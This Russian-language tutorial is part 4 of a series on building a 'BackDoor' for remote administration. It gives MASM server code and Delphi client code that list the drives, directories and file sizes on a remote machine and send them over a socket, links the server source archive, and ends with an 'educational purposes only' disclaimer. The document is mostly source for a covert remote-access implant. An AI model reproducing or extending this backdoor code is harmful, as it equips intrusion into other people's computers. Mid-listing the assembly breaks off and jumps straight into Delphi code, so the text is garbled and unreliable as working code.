|
BackDoor - удалённое администрирование 4
--------------------------------------------------------------------------------
Автор: Danil
WEB-сайт: http://www.danil.dp.ua
- Можно ли загадать желание, если сидишь между двумя программистами?
- Можно! Только глючить будет.
Продолжим разговор о реализации моего клиента и сервера. В этой статье я дам описание как получать список файлов и каталогов с заданной директории на сервере и как их показать в клиенте. Рассмотрим кусок кода моего сервера с http://www.danil.dp.ua/dtr_s13s.zip
; ListFileToClient
; Если команда = ld path
invoke lstrcmp, addr CommandStr, addr ListFileStr
.IF eax == 0
mov edi,Bufcmd
add edi,3
; Получаем path
invoke lstrcpy,addr CommandStr1,edi
invoke lstrlen, addr CommandStr1
invoke ltrim, addr CommandStr1, addr CommandStr1
invoke rtrim, addr CommandStr1, addr CommandStr1
invoke lstrcpy,addr path,addr CommandStr1
invoke lstrlen,addr path
invoke ltrim, addr path, addr path
invoke rtrim, addr path, addr path
; Текущий каталог - path
invoke SetCurrentDirectory,addr path
.IF (eax == 0)
; Если нет, то текущий каталог - C:
invoke SetCurrentDirectory,addr ListFileStr1
invoke lstrcpy, addr path,addr ListFileStr1
invoke ltrim, addr path, addr path
invoke rtrim, addr path, addr path
.ENDIF
; Запуск процы отсылки списка клиенту
invoke MyFilePath
jmp endREAD
.ENDIF
Здесь вроде все понятно - устанавливаем текущий каталог, в случае ошибки, текущим каталогом будет C:, и вызываем процу, которая описана в строчках с 2288 по 2330 ("dtr13_s.asm"):
; FilePath
MyFilePath PROC
; Обнуляем буфер отправки
invoke lstrcpy, addr BufStr0, addr NilStr
invoke rtrim, addr BufStr0, addr BufStr0
; В буфере отправки в начале ставим "[[[ListFile "
invoke lstrcat, addr BufStr0, addr ListFileStr02
invoke lstrcat, addr BufStr0, addr path
invoke lstrcat, addr BufStr0, addr ListFileStr3
invoke lstrlen, addr path
invoke lstrcpy, addr CommandStr3, addr path
invoke lstrcat, addr CommandStr3, addr wcs
; Вызываем FindFirstFile. Функция FindFirstFile находит
; первый файл или каталог в текущей директории. FindNextFile
; находит остальные. В случае ошибки или если файлы закончились,
; в eax у нас INVALID_HANDLE_VALUE
invoke FindFirstFile, addr CommandStr3, addr Finfo
mov cmd, eax
.IF eax != INVALID_HANDLE_VALUE
; Запускаем цикл поиска файлов
.WHILE TRUE
invoke lstrcpy, addr CommandStr1, addr Finfo.cFileName
mov eax, Finfo.dwFileAttributes
and eax, FILE_ATTRIBUTE_DIRECTORY
; Если каталог, то выделяем
.IF (eax != 0)
invoke lstrcat, addr BufStr0, addr ListFileStr04
invoke lstrcat, addr BufStr0, addr CommandStr1
.ELSE
; Если файл то получаем размер
invoke lstrcat, addr BufStr0, addr CommandStr1
mov eax, Finfo.nFileSizeLow
invoke dwtoa, eax, addr CommandStr2
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr bkl
invoke lstrcat, addr BufStr0, addr CommandStr2
.ENDIF
; Добавляем строку в буфер отправки
invoke lstrcat, addr BufStr0, addr ListFileStr3
; Вызываем FindNextFile
invoke FindNextFile, cmd, addr Finfo
; Выходим если ошибка или файлы закончились
.BREAK .IF (eax == 0)
invoke lstrlen, addr BufStr0
; Выходим если достигли макс. размера буфера
.BREAK .IF (eax > 6400)
.ENDW
invoke FindClose, cmd
; Отправляем список файлов клиенту
invoke send,client,addr BufStr0,sizeof BufStr0,0
invoke Sleep,10
.ENDIF
ret
MyFilePath ENDP
Посмотрим в сервере участок кода, возвращающий список дисков в строках с 688 по 745:
; ListDir
.IF (dword ptr [edi] == "dl")
; Если команда ld
invoke rtrim, addr NilStr, addr BufStr0
; В буфере отправки в начале ставим "[[[ListDrvr "
invoke lstrcat, addr BufStr0, addr LstDrvStr005
invoke lstrcat, addr BufStr0, addr LstDrvStr000
invoke lstrcat, addr BufStr0, addr ListFileStr000
push edi
mov edi, offset LstDrvStr007
; Запускаем цикл по всем буквам англ. алфавита:
.WHILE TRUE
invoke lstrcpyn,addr CommandStr0,edi ,2
.BREAK .IF (byte ptr [CommandStr0] 0) then
begin
if (Form3.ListBox1.ItemIndex3) then
begin
if length(DopNDir)>3 then
begin
// Если в начало диска
if Form3.ListBox1.ItemIndex = 0 then
Form1.ClientSocket1.Socket.SendText('ld ' + copy(DopNDir, 1, 3) + #0)
else
begin
// Если на каталог назад
DopS01 := trim(DopNDir);
DopS02 := '';
DopS03 := '';
I := 1;
repeat
DopS02 := DopS02 + DopS01[I];
if DopS01[I] = '' then
begin
DopS03 := DopS03 + DopS02;
DopS02 := '';
end;
inc(I);
until
I = length(DopS01);
Form1.ClientSocket1.Socket.SendText('ld '+trim(DopS03)+#0);
end;
end;
end
else
// Если войти в каталог
if copy(Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex], 1, 8) = ' DIR: ' then
Form1.ClientSocket1.Socket.SendText('ld '+trim(DopNDir)+trim(copy (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex],9,length (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex])-1))+''+#0);
end;
end;
// Показать список зарегистр. на сервере дисков
procedure TForm3.Button1Click(Sender: TObject);
begin
Form1.ClientSocket1.Socket.SendText('ld');
end;
end.
Переходим в раздел кода "Unit1.pas", находим процедуру обработки очереди "TRecvThread.CommandRecvThread". Для файлового менеджера перепишем ее так:
// обработка очереди
procedure TRecvThread.CommandRecvThread;
var
LstRdop: TLstRecv;
i: Integer;
DopS, Dop1, Dop2: string;
label
ex;
begin
LstRdop := LstRbeg;
if LstRdop <> nil then
begin
try
DopS := '';
DopS := LstRdop^.BufIn;
// Если в начале "[[[ListFile "
if copy(DopS, 1, 12) = '[[[ListFile ' then
begin
Form3.ListBox1.Items.Clear;
Form3.Enabled := false;
I := 13;
Dop1 := '';
// Получаем текущий каталог
while not(ord(DopS[I])<30) do
begin
Dop1 := Dop1 + DopS[I];
inc(I);
end;
inc(I);
DopNDir := Dop1;
// Пишем текущий диск
Form3.Edit1.Text := copy(Dop1,1,1);
// Получаем все, кроме "[[[ListFile " и текущего диска
Dop1 := copy(DopS, I, length(DopS) - I + 1);
// И пишем в "ListBox1"
Form3.ListBox1.Items.Text := Dop1;
if Form3.Visible then
begin
if Form3.WindowState = wsMinimized then
Form3.WindowState := wsNormal;
Form3.SetFocus;
Form3.ListBox1.SetFocus;
Form3.ListBox1.ItemIndex := 0;
end;
Form3.Enabled := true;
goto ex;
end;
// Если вначале "[[[ListDrvr "
if copy(DopS, 1, 12) = '[[[ListDrvr ' then
begin
I := 13;
Dop1 := '';
while not(ord(DopS[I]) < 30) do
begin
Dop1 := Dop1 + DopS[I];
inc(I);
end;
inc(I);
Dop2 := copy(DopS, I, length(DopS) - I + 1);
// Выводим окно со списком дисков
Application.MessageBox(PChar(Dop2), PChar(Dop1), mb_Ok + mb_IconAsterisk + mb_ApplModal);
goto ex;
end;
// Если не список файлов и дисков
if trim(DopS) <> '' then
Form1.Memo1.Lines.Add(DopS + #13);
ex :
finally
if LstRDop^.Point <> nil then
LstRbeg := LstRDop^.Point
else
LstRbeg := nil;
if LstRbeg = nil then
LstRend := nil;
Dispose(LstRdop);
end;
end;
end;
Проверим. Запустим сервер и клиент. Сконнектимся. Нажмем кнопку "Файловый менеджер". В появившемся окне нажмем "Button1". Все, проверка закончена.
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
|
